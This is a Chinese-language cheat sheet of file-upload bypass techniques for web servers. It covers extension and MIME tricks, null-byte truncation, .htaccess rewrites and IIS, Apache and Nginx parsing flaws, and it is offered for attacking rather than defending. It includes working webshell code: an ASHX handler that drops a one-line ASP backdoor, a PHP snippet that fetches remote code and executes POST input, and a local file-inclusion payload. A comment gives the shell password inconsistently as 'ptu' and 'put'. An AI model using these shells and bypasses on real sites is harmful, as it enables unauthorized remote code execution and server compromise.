针对文件内容检测的绕过,一般有两种方式,
1.制作图片马
2.文件幻术头绕过

垃圾数据填充绕过

修改HTTP请求,再之中加入大量垃圾数据。

黑名单后缀绕过

文件扩展名绕过

Php除了可以解析php后缀 还可以解析php2.php3,php4 后缀

ashx上传绕过

cer,asa,cdx等等无法使用时候。
解析后就会生成一个test.asp的马,你就可以连接这个test.asp 密码为:put
<%@ WebHandler Language="C#" Class="Handler" %>
using System;
using System.Web;
using System.IO;
public class Handler : IHttpHandler { public void ProcessRequest (HttpContext context) {
context.Response.ContentType = "text/plain"; //这里会在目录下生成一个test.asp的文件
StreamWriter file1= File.CreateText(context.Server.MapPath("test.asp"));
//这里是写入一句话木马 密码是:ptu
file1.Write("<%response.clear:execute request("put"):response.End%>");
file1.Flush();
file1.Close();
}
public bool IsReusable {
get {
return false;
}
} }

特殊文件名绕过

比如发送的 http包里把文件名改成 test.asp. 或 test.asp_(下划线为空格),这种命名方式
在windows系统里是不被允许的,所以需要在 burp之类里进行修改,然后绕过验证后,会
被windows系统自动去掉后面的点和空格,但要注意Unix/Linux系统没有这个特性。

Windows流特性绕过

php在windows的时候如果文件名+"::$DATA"会把::$DATA之后的数据当成文件流处理,不会检测后缀名.且保持"::$DATA"之前的文件名。

白名单后缀绕过

00截断绕过上传

php .jpg   空格二进制20改为00
IIS 6.0 目录路径检测解析绕过
上传路径改为
XXX/1.asp/

htaccess解析漏洞

上传的jpg文件都会以php格式解析
.htaccess内容:
AddType application/x-httpd-php .jpg

突破MIME限制上传

方法:找一个正常的可上传的查看其的MIME类型,然后将马子的MIME改成合法的MIME即可。

Apache解析漏洞

1.一个文件名为test.x1.x2.x3的文件,apache会从x3的位置开始尝试解析,如果x3不属于apache能够解析的扩展名,那么apache会尝试去解析x2,直到能够解析到能够解析的为止,否则就会报错。
2.CVE-2017-15715,这个漏洞利用方式就是上传一个文件名最后带有换行符(只能是\x0A,如上传a.php,然后在burp中修改文件名为a.php\x0A),以此来绕过一些黑名单过滤。

IIS解析漏洞

IIS6.0在解析asp格式的时候有两个解析漏洞,一个是如果目录名包含".asp"字符串,
那么这个目录下所有的文件都会按照asp去解析,另一个是只要文件名中含有".asp;"
会优先按asp来解析
IIS7.0/7.5是对php解析时有一个类似于Nginx的解析漏洞,对任意文件名只要在URL
后面追加上字符串"/任意文件名.php"就会按照php的方式去解析;

Nginx解析漏洞

解析:(任意文件名)/(任意文件名).php | (任意文件名)%00.php
描述:目前Nginx主要有这两种漏洞,一个是对任意文件名,在后面添加/任意文件名.php
的解析漏洞,比如原本文件名是test.jpg,可以添加为test.jpg/x.php进行解析攻击。
还有一种是对低版本的Nginx可以在任意文件名后面添加%00.php进行解析攻击。

解析漏洞

Content-Disposition: form-data; name="file";  filename=php.php;.jpg

前端限制绕过

1.使用BURP抓包修改后重放
2.或者使用浏览器中元素审查,修改允许或禁止上传文件类型。

下载绕过

远程下载文件绕过

<?php
$str = file_get_contents('http://127.0.0.1/ian.txt');
$str($_post['ian']);
?>

文件包含绕过

上传图片木马
$x=$_GET['x'];
include($x);
访问:http://www.xxxx.com/news.php?x=xxxxxx.jpg

推荐阅读:

http://0-sec.org/

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